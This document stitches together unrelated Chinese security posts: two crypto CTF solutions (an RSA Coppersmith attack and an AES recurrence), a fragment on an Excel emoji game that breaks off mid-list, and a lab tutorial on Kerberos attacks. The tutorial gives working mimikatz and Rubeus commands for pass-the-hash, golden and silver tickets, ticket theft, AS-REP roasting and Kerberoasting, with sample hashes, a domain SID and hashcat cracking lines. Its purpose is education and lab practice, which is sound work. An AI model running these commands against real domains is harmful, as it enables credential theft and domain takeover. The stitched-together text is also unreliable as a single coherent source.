2.crazyTreat 关键在于构建关于m的多项式 $$P=m^p \pmod {p*q*r} \\ Q=m^q \pmod {p*q*r} \\ R=m^R \pmod {p*q*r} \\ 费马小定理:\\ m^p=m \pmod p \\ P=m+k1*p+k2*pqr=m+k3*p \\ Q,R同理 \\\qquad\text{(1)}$$ 即: $$P=m+k3*p\\ Q=m+k4*q\\ R=m+k5*r\\ 且: k_3p=P-M,k_4q=Q-m,k_5r=R-m\\ 所以: P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$ 脚本1: from Crypto.Util.number import * import gmpy2 #coppersmith clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209 trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576 n = clown p = trick pbits = 512 kbits = 220 p=p>>kbits<<kbits PR.<x> = PolynomialRing(Zmod(n)) f = x + p x0 = f.small_roots(X=2^kbits, beta=0.4) p=p+int(x0[0]) print(p) #构建关于m的多项式求解即可,m即为r n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259 P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052 Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499 R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030 PR.<m> = PolynomialRing(Zmod(n)) f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m) f = f.monic() m = f.small_roots(X=2^280, beta=0.4) print(m) r=m #直接解密即可 r=105960538296223496551922954965164644267919720177702173352061963871195469608683 p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711 c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949 e = 65537 n=p*r phi = (r-1) * (p-1) d = gmpy2.invert(e,phi) m = gmpy2.powmod(c,d,n) print(m) print(long_to_bytes(m)) 首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了 脚本2: c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949 clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209 trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576 ''' len_bin=len(bin(trick)[2:]) high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101' high_len=len(high) low_len=512-high_len PR.<x> = PolynomialRing(Zmod(clown)) f = int(high,2)*2^low_len +x x0 = f.small_roots(X=2^low_len, beta=0.4)[0] #76347864203588455868161824448305083084387260376528823546715135 p=int(high,2)*2^low_len +x0 print(p) ''' p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711 q=clown//p phi=(p-1)*(q-1) from Crypto.Util.number import * d=inverse(65537,phi) print(long_to_bytes(pow(c,d,clown))) 脚本3: clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209 trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576 n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259 P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052 Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499 R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030 c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949 PR.<x>=Zmod(clown)[] f=trick+x for cut in range(1,256): r=f.small_roots(X=2^cut,beta=0.4) if r: r=a[0] break p=GCD(ZZ(f(r)),clown) q=clown//p PR.<x>=Zmod(n)[] f=(P-x)*(Q-x)*(R-x) f=f.monic() m=ZZ(f.small_roots(X=2^256)[0]) N =p*q*m phi = (p-1)*(q-1)*(m-1) e = 65537 d = inverse_mod(e,phi) m = pow(c,d,N) from Crypto.Util.number import * print(long_to_bytes(ZZ(m))) 3.Alexei needs help 将迭代改为循环即可 from random import randint import gmpy2 as gp from Crypto.Util.number import * from Crypto.Cipher import AES from hashlib import md5 from binascii import * from tqdm import tqdm a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215 b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673 m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817 seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967] ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81 n = 2023 def seqsum(i): ans = 0 for j in range(len(seq)): ans += gp.powmod(i, j, m) * seq[j] return ans def home1work(n): if n == 1: return 1 elif n == 2: return 1 else: previous, current = 1, 1 for i in tqdm(range(3, n + 1)): previous, current = current, (a * current + b * previous + seqsum(i)) % m return current ans = home1work(n) k = unhexlify(md5(str(ans).encode()).hexdigest()) aes = AES.new(k, AES.MODE_ECB) #data = flag + (16 - len(flag) % 16) * b"\x00" data=long_to_bytes(ct) ct = aes.decrypt(data) print(ct) #b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00" 或者脚本: memo = {} import sys sys.setrecursionlimit(100000) import gmpy2 as gp a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215 b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673 m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817 seq = [ 1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967] n = 2023 def seqsum(i): if i in memo: return memo[i] ans = 0 for j in range(len(seq)): ans += gp.powmod(i, j, m) * seq[j] memo[i] = ans return ans def homework(i): if i in memo: return memo[i] if i == 1: result = 1 elif i == 2: result = 1 else: result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m memo[i] = result return result result = homework(2023) ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81' from Crypto.Cipher import AES from binascii import * from hashlib import * k = unhexlify(md5(str(result).encode()).hexdigest()) aes = AES.new(k, AES.MODE_ECB) aes = AES.new(key=k, mode=AES.MODE_ECB) print(aes.decrypt(unhexlify(ct))) 题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw 提取码:kdfw 参考文章 https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ https://blog.csdn.net/jyttttttt/article/details/131146160 https://www.cnblogs.com/Aann/p/17473430.html https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ https://mp.weixin.qq.com/s/ghQQ59c-K9C1VADVW-eVZQ https://mp.weixin.qq.com/s/Gi3dQ3mDs3mZCRGtT4l_dg
  4. Re Emoji Connect 是Excel的插件,开始玩之后会初始化一个4848的矩阵,每个格子里有一个emoji,然后每次点击两个格子,如果两个格子里的emoji相同,就会消除这两个格子。一开始以为是消星星一类的三个格子的消除,但看game的逻辑每次只替换两个,所以确实是连连看。然后flag的逻辑就是每次消除的时候减去格子的 行列,下标是用神奇的方法从unicode转过去的,我这里直接用矩阵里emoji的最小值做下标偏移了 dat = '''😈 😑 😔 😎 😌 😆 😤 😮 😮 😟 😪 😂 😢 😐 😩 😙 😭 😎 😬 😅 😉 😦 😛 😥 😜 😤 😑 😨 😝 😗 😛 😁 😑 😏 😜 😠 😤 😋 😀 😁 😅 😖 😑 😡 😒 😇 😄 😛 😊 😈 😂 😘 😬 😩 😥 😬 😈 😫 😅 😊 😒 😦 😑 😅 😙 😔 😟 😩 😬 😐 😑 😮 😔 😥 😧 😖 😇 😦 😉 😈 😘 😯 😣 😉 😓 😞 😃 😌 😨 😖 😮 😙 😙 😫 😋 😣 😜 😉 😇 😮 😝 😞 😒 😪 😂 😬 😯 😃 😄 😘 😪 😛 😤 😑 😦 😯 😗 😋 😡 😤 😊 😨 😉 😬 😍 😏 😨 😔 😝 😀 😡 😝 😅 😧 😋 😔 😨 😗 😍 😨 😝 😈 😫 😤 😍 😍 😌 😅 😫 😏 😫 😗 😢 😇 😃 😍 😮 😃 😋 😮 😢 😦 😭 😢 😢 😔 😧 😥 😢 😁 😠 😀 😙 😅 😑 😕 😌 😊 😞 😕 😑 😡 😔 😘 😙 😂 😝 😬 😜 😕 😌 😞 😓 😖 😏 😑 😇 😦 😯 😊 😕 😃 😬 😏 😉 😯 😦 😩 😊 😛 😟 😨 😛 😥 😗 😄 😊 😀 😉 😇 😧 😅 😨 😚 😖 😑 😅 😚 😄 😅 😃 😤 😒 😉 😌 😭 😘 😊 😅 😄 😎 😆 😁 😯 😟 😌
  5. Kerberos认证流程前言本文主要分享最近学习的关于域内Kerberos认证的一些攻击手法,以自我的理解为主,从原理理解切入到基本工具利用来阐述,个人的理解分析较为啰嗦,嫌太兀长的可以跳着看就好,还请各位谅解。如有错误,请师傅们提出更正 对于Kerberos认证流程只是简单的描述带过,下面有很多细节没有说明,比如PAC,S4U2SELF(委派),S4U2PROXY(委派)等。详细的解读推荐翻阅daiker师傅写的相关文章 本文主要环境利用的是红日靶场VulnStack 域控 owa win2008R2 192.168.52.138域主机 sut1 win7 192.168.52.130域外主机 k0uaz win7(可访问到域控) 192.168.52.162主要涉及主体和角色Domain Controller 域控制器,简称DC,一台计算机,实现用户、计算机的统一管理Key Distribution Center 秘钥分发中心,简称KDC,默认安装在域控里,包括AS和TGSAuthentication Service 身份验证服务,简称AS,用于KDC对Client认证Ticket Grantng Service 票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)Active Directory 活动目录,简称AD,用于存储用户、用户组、域相关的信息。Client 客户端,指用户。Server 服务端,可能是某台计算机账户,也可能是某个服务。过程和原理 上图中涉及到了三个请求返回过程:Client与KDC的AS,Client与KDC的TGS,Client与Server,详细的请求响应如下 AS-REQ:Client向KDC(AS)发起一个认证请求,请求的凭据是Client的NTLM Hash加密的时间戳以及身份信息等AS-REP:AS使用Client NTLM HASH进行解密,若检验正确则返回用KRBTGT HASH加密的TGT票据(再TGS-REQ中发送到TGS并用于换取ST),TGT里面包含PACTGS-REQ:Client获得TGT缓存在本地(不能解密),可用来向TGS换取访问相应服务的ST票据TGS-REP:TGS使用KRBTGT HASH解密TGT,若结果正确,返回用提供服务的服务器的Server Hash(机器用户HASH)加密的ST(server ticket)AP_REQ:Client拿着获得的ST去服务器请求资源AP_REP:Server使用自己的Hash解密ST,若解密正确,则拿着获取的PAC去访问KDC判断Client是否有权限访问。KDC解密PAC后获取用户sid以及所在组的信息,并根据访问控制表(ACL)判断权限。若符合,Server返回资源给ClientKerberos相关安全问题 Pass The Key(Hash)Pass the HashPass the Hash适用于NTLM认证也适用于Kerberos认证,不仅在域外,域内也可以使用。Kerberos认证中AS-REQ通过Client Hash加密相关信息发送给AS,因此如果我们获取到了Client的NTLM Hash,我们可以通过Pass The Hash横向获取其他主机的权限。 利用这里我们假设获得了在某台域机器上登录的域管NTLM HASH 以下适用于PTH的工具 使用Mimikatz,由于需要注入凭据到lsass中,因此需要本地管理员权限(bypassuac)去开启Sedebug,注入后可以使用该用户凭据访问域内主机使用wmicexec(py或者exe都有)去pth,不需要管理员权限,适用于直接远程执行命令使用cme去批量验证pth等等这里以Mimikatz举例,hack用户(stu1的本地管理员组内成员,域用户) 没有权限访问域控共享目录 mimikatz注入凭据后 mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:god.org/rc4:b4ab235f987be3621a4ebd862189fd34" Pass the Keymimikatz资料提示 ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash. Pass the Key只能在域中使用,支持Aes加密方式的版本有win8.1/2012r2或者是安装了kb2871997补丁的win7/2008r2/8/2012 利用获取aes key 然后同样使用sekurlsa::pth模块 mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /aes256:bf723755bc5f72a377bda41ca58fd925df7ee45df9a026ac5cd320102a3a2e33" 由于Win7主机没有打补丁,自然Pass The Key失败。在实战环境中,当不支持rc4加密方式的PTH的时候,可能是在Protected Users组中,这时可以尝试Aes128,Aes256加密方式来PTK Pass The Hash With Remote Desktop(Restricted Admin mode)2014年,Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server 2012也可以更新该补丁后获得上述安全保护机制。 ———————————————————————————————————————————————— Restricted Admin RDP模式的远程桌面客户端支持: 在此更新之前,RDP登录是一种交互式登录,只有在用户提供用户名和密码之后才可以访问。以这种方式登录到RDP主机时,会将用户凭据放置在RDP主机的内存中,如果主机受到威胁,它们可能会被窃取。此更新使RDP支持网络登录,其中可以传递用户现有登录令牌以进行RDP访问的身份验证。使用此登录类型可确保RDP服务器上不存储用户的凭据。从而保护凭据 通过上述解释可以理解该模式是为了保护使用RDP登录的用户凭据,通过网络验证的登录方式,RDP服务端不会保存用户的凭据 利用win8.1以及win2012R2以上支持Restricted Admin mode模式,win8.1以及win2012R2默认开启Restricted Admin mode 条件:Client支持Restricted Admin mode模式,Server启用Restricted Admin mode模式 由于手头缺少win2012R2,因此这里使用两台Windows10来进行Pass The Hash With Remote Desktop 首先获取NTLM HASH 利用mimikatz注入NTLM HASH(需先privilege::debug开启debug权限,这里截图截少了) sekurlsa::pth /user:administrator /domain:192.168.226.137 /ntlm:9c3767903480e04c089090d27123eaf9 "/run:mstsc.exe /restrictedadmin" /domain指定计算机名或者ip 这里不要选择始终要求凭据 凭据正确但是没有开启Restricted Admin mode 通过注册表开启(0为开启,1为关闭,需要完整管理员权限),然后再次进行RDP连接 REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 远程主机开启Restricted Admin mode后,RDP连接成功 可以看到注入到内存中的Hash 然后这里我又使用了管理员账户K0uaz,因此该Pass The Hash With Remote Desktop只需要目标的本地管理员权限即可,不一定是sid为500的本地administrator账户 但是如果只是加入Remote Desktop Users,不在Administratros组内,是无法成功的,因为该机制就是针对受限的管理员的 AS-REP Roasting原理在AS_REP中,KDC会返回一个有用户NTLM Hash加密的Session Key(该Sesions Key用于确保客户端和TGS之间的通信安全) 在RC4_HMAC加密方式下,我们可以通过穷举明文口令,利用相同加密流程加密明文口令,然后将加密结果对比密文是否相同来判断爆破结果 上图中返回的用户NTLM Hash加密的Session Key密文虽然是通过AES256加密的,但是这里我们同样可以使用加密降级方式(下文中Kerberoast突破用户支持AES加密转而返回RC4_HMAC类型的加密数据使用的方法)指定客户端最高支持加密方式仅为RC4_HMAC,使AS_REP中返回的密文的加密方式为RC4_HMAC,这样我们就可以破解该明文口令了 但是这里需要解决一个问题就是预认证的问题,在AS_REQ中会生成一个有Client Hash加密的Timestamp发送到KDC,KDC通过解密该密文获得时间戳,如果解密成功并且时间戳在5分钟之内,则预认证成功,KDC通过该方式来检验客户端身份,以此有效防止暴力破解 至于为什么默认情况下会发送两次AS_REQ,从harmj0y的文章中得到的解释是由于客户端提前并不知道支持的加密方式(这里我认为是具体到客户端不知道预认证中Timestamp的加密方式),因此请求获取KDC支持的加密方式 因此关闭预认证,我们就可以进行穷举爆破破解出明文口令 关闭预认证后不再有二次的AS_REQ,唯一一次的AS_REQ也不会带有NTLM Hash加密Timestamp的密文 利用可以通过LDAP查询具有Do not require Kerberos preauthentication属性的域用户 具体的查询条件为userAccountControl:1.2.840.113556.1.4.803:=4194304 这里以Rubeus举例 Rubeus.exe asreproast /nowrap /format:hashcat hashcat解密 hashcat -m 18200 hash.txt passwords.dict --force Rubeus asreproast原理分析通过Wireshark分析流量可以看出该模块原理就是通过LADP查询该属性特征的域用户,然后批量发送AS_REQ请求包,提取返回包中的NTLM Hash加密部分进行格式化输出适合于Hashcat爆破的形式 ldap查询: 指定支持加密类型仅为RC4_HMAC 返回的密文使用RC4_HMAC加密(因此可进行穷举爆破) 黄金票据特点需要与DC通信(不需要与AS进行交互,需要与TGS)需要krbtgt用户的hash原理在 Windows 的kerberos认证过程中,Client将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的TGT了吗。因为Krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。 条件1、域名称 2、域的SID值 3、域的KRBTGT账户密码HASH 4、伪造用户名,可以是任意的(TGT使用期限20分钟之内,域控制器KDC服务不会验证TGT中的用户账户) 当我们获取到krbtgt的Hash的时候,我们就可以用来制作黄金票据 假设我们已经通过dcsync的攻击手法(下文中有解释和实践)获取到了krbtgt的hash 条件1:spn扫描获取域名称god.org 条件2:whoami /all获取域用户sid,域的SID去掉最后的一串 条件3:krbtgt账户Hash 58e91a5ac358d86513ab224312314061 条件4:伪造用户名 administrator 制作黄金票据利用mimikatz kerberos::golden伪造tgt 黄金票默认组: 域用户SID:S-1-5-21 <DOMAINID> -513 域管理员SID:S-1-5-21 <DOMAINID> -512 架构管理员SID:S-1-5-21 <DOMAINID> -518 企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/sids参数) 组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520 mimikatz.exe "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /user:administrator /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:k0u.kiribi" exit tip:可添加/endin:xx /renewmax:xx修改票据的有效期以及续订票据最长有效期,mimikatz默认都是10年 生成的票据可以到其他域机器上导入,也可以直接使用/ptt将tgt注入内存 首先先清空票据缓存klist purge 然后通过mimikatzkerberos::ptt k0u.kiribi注入到缓存票据中 klist查看票据缓存可以看到伪造的tgt了 这时就获取到了非常高的权限了 klist purge清空票据缓存后 Tips: 普通黄金票据存在局限性,适用于单域内,不适于域森林中 Pass The TicketKerberos除了第一步需要Client端的用户NTLM Hash加密验证,后续的操作都是通过票据(Ticket)来验证,因此我们如果拿到了票据或者伪造了票据,我们就可以通过该票据来横向移动,黄金票据和白银票据以及MS14068的利用都可以算做是Pass The Ticket的一种攻击方式 利用Mimikatz通过Mimikatz导出内存中的票据 (管理员权限开SeDebug)Mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit 这时,我们抓到了域管的TGT,我们就可以注入域管的TGT到缓存并且使用该TGT来向TGS换取相应的服务凭证ST (不需要管理员权限)此时以god.org\hack域用户(Stu1本地管理员权限)访问域控的Cifs共享服务是提示没有权限被拒绝的,这里注入域管的TGT到缓存后可成功访问 RubeusRubeus,利用C#实现Kekeo中的部分函数攻击手法等,该工具主要是针对Kerberos的一些攻击方式集成化的利用工具 导出内存中的票据 (管理员权限)Rubeus.exe dump >test.txt 箭头指向的就是base64编码后的.kirbi 可以直接通过Rubeus导出base64编码形式的凭据或者转化为文件形式,文件形式可以和MimikatzKerberos::ptt xxx.kirbi导入票据互相通用 Rubeus.exe ptt /ticket:base64(需要处理下导出的base64编码格式,删除多个空格,删除换行,可以通过添加/nowrap参数不换行) 导入后可以通过Rubeus.exe klist查看缓存的票据 以域管的高权限票据可访问域控共享服务 也可以使用/ticket:file.kirbi的形式 可以通过Powershell调用.net类库的system.io命名空间中的file类中WriteAllBytes方法将base64编码解码后写入文件中 [IO.File]::WriteAllBytes("Adcontrol.kirbi", [Convert]::FromBase64String("处理后的凭据Base64编码")) 导入Rubeus ptt /ticket:file.kirbi Tips: 票据文件注入内存的默认有效时间为10小时 Klist Purge清除缓存后注入的TGT也随着被清除 Kerberoasting原理在kerberos认证流程中的TGS_REP中返回的是Server Hash(Ticket)以及Session Key(Server Session Key),其中最为重要的是通过服务的NTLM Hash为密钥加密生成的ST票据。当认证加密算法为RC4_HMAC(弱加密类型)时,我们可以通过穷举口令,利用相同的加密过程获得密文,将获得的密文与ST票据中的密文比较,若相同,则说明口令正确,成功爆破获得服务凭据的明文 Tip:服务票据会使用服务账户的哈希进行加密,在Windows中使用服务主体名称(SPN)来确定使用哪个服务帐户的哈希来加密服务票证 (服务主体名称)SPN服务主体名称(SPN:ServicePrincipal Names)是服务实例,Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联 SPN的格式为:serviceclass/host:port/servicename SPN是域内一个服务的唯一标示名称,SPN类型分为两种: 一种注册在AD上机器帐户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下,比如SMB或者远程注册表服务另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下,此时访问某个服务,返回的ST票据中加密的服务票据就是服务账户的票据即SPN与服务所对应相关联的账户的凭据 Tips: Setspn -Q */*查询所有的SPN 可以通过LADP将域用户属性servicePrincipalName设置为目标SPN 可以通过LDAP来快速检索哪些域用户拥有servicePrincipalName属性来找到寻找爆破目标(低权限即可) 实现要点寻找有价值的SPN : 寻找基于域账户的(最好是高权限)SPN,基于主机的SPN密码复杂随机且30天自动更换一次,因此难以破解 获得RC4_HMAC加密形式的ST票据 : 支持RC4_HMAC或启用AES认证加密但是未禁用RC4_HMAC 利用首先为域用户liukaifeng01关联一个SPN 老方法用到的工具为kerberoast 首先通过遍历SPN(筛选有价值的SPN),然后对获得的所有SPN发起TGS请求获取ST票据缓存到本地(Mimikatz中的kerberos::ask可实现发起单个TGS请求),再通过Mimikatz等工具导出ST凭据,然后通过爆破脚本tgsrepcrack.py尝试爆破出明文口令 新方法用到的工具为Invoke-kerberoast 较新的方式是一步到位,(首先通过LDAP查询带有ServicePrincipalName属性的域用户)不需要发送TGS请求后通过Mimikatz导出ST凭据了,通过微软提供的类KerberosRequestorSecurityToken直接发起TGS请求,然后再返回的内容中提取加密的ST票据进行格式化,方便使用John和Hashcat来破解 这里举例使用的工具是Rubeus,该工具同样实现了Invoke-kerberoast的功能 Rubeus kerberoast(普通域用户权限即可) 如果复制粘贴不方便,可以使用/outfile:path指定Hash参数的写入路径 Rubeus返回的Hash参数对应的值就是hashcat官方指定的RC4_HMAC加密方式破解的格式 kali中使用hashcat爆破 hashcat -m 13100 hash.txt passwords.dict --force 加密降级突破AES加密类型首先设置用户启用AES加密,通过AD用户和计算机管理设置liukaifeng01用户启用AES加密 LDAP查看msDS-SupportedEncryptionTypes属性 这时候再进行Kerberoast时,返回的票据加密类型为AES256 抓包查看TGS_REQ,可以看到客户端向服务端提供了支持的加密算法,包括RC4和AES加密 通过查看TGS_REP可以发现返回的ST票据中使用的算法是最高支持的加密类型=>AES256 那这里就可以提出一个猜想,如果我们在TGS_REQ中提供最高的支持的加密算法是RC4,呢么TGS_REP中返回的加密方式是否也会是RC4呢 在Rubeus中已经实现了该方法,并且确实有效 Rubeus kerberoast /tgtdeleg TGS_REQ请求包中支持的加密算法仅为RC4 虽然域用户liukaifeng01支持的加密方式是AES,但是得到的是一个RC4加密的票据,这样获得的票据仍然是可以破解的 解决加密降级的办法只有在组策略中的安全策略Kerberos验证中彻底禁用RC4 白银票据特点不需要与域控(KDC)交互需要目标服务的NTLM Hash(获取Server Hash伪造TGT)原理 在第三步认证中的Ticket的组成: Ticket=Server Hash(Server Session Key+Client info+End Time) 如果我们有了Server Hash的话,我们就可以伪造ST,服务器在没有收到ST之前是不知道Server Sessoin Key的,所以这一切的认证最重要的就是Server Hash,有了Server Hash我们就可以伪造ST来访问指定的服务。这里的Server Hash指的就是机器用户的Hash,机器用户其实就是System用户 条件1、域名称 2、域的SID值(SID值,注意是去掉最后一个-后面的值) 3、域中的Server服务器账户的NTLM-Hash 4、伪造的用户名,可以是任意用户名. 5、目标服务器上面的kerberos服务 制作白银票据这里还是以域控owa举例,通过mimikatz获取机器账户的Hash 获取hash后,通过mimikatz制作白银票据(部分条件上述黄金票据实践中已经获得),目的服务是cifs 正常情况是普通域用户hack没有权限访问: 通过mimikatz制作白银票据并直接导入 查看当前票据 成功访问共享目录 